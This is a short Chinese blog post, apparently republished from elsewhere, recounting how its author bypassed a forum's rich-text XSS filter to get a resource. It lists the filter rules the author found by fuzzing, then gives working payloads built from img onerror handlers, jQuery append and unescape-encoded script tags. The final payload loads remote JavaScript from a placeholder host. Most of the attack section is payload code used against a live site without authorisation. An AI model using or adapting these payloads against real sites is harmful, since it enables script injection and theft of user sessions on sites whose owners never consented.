鸿 网 互 联 www.68idc.cn

利用jquery 艰难的绕过某社区发帖富文本xss

来源:互联网 作者:佚名 时间:2016-05-07 10:06
某天为了个资源挖了个xss 到手之后然后二逼的告诉了管理员 今天又需卷土重来 各种过滤,各种悲剧,撸了一天 总算中出鸟 发个文章记录下 一 :fuzz 编辑规则 经过长时间的 fuzz之后 得到以下规则 1: script document alert 会 替换为 ******* 2: img 的 onerror
某天为了个资源挖了个xss 到手之后然后二逼的告诉了管理员 今天又需卷土重来
各种过滤,各种悲剧,撸了一天 总算中出鸟 发个文章记录下 ……
 
一 :fuzz 编辑规则
 
经过长时间的 fuzz之后 得到以下规则
 
1: script document alert … 会 替换为 *******
2: img 的 onerror 事件没有过滤
3: 所有的字符都会替换为 小写 比如 String.fromCharCode 就彻底没戏了
4:加载了jquery 库
 
二 :艰难绕过
 
1:肯定是从 img 开始 和 jquery 配置 语句为
 
 
<img alt="" onerror=" $(function() {   .........    })" src="1"  ">    成功
2:使用jquery 动态创建对象 ( document.createElement , appendTo,innerHtml 失效)
 
 
<img alt="" onerror=" $(function() {  $('<script>alert(0)</script>')).append(s)  })" src="1"  ">
3:第二步中 script 会被替换 必须找个 js 中的小写的解码函数 unescape
 
 
<img alt="" onerror=" $(function() {   var s=unescape('%3cscr'+'ipt'+'%3eprompt(0)%3c%2fscr'+'ipt'+'%3e');  $('body').append(s)  })" src="1"  ">
4:加载外部js
 
 
<img alt="" onerror=" $(function() {   var s=unescape('%3Cscrip'+'t'+'%2Fsrc%3Dhttp%3A%2F%2Fxxx.com%2F100000%3E%3C%2Fscrip'+'t'+'%3E');  $('body').append(s)  })" src="1"  ">
网友评论
<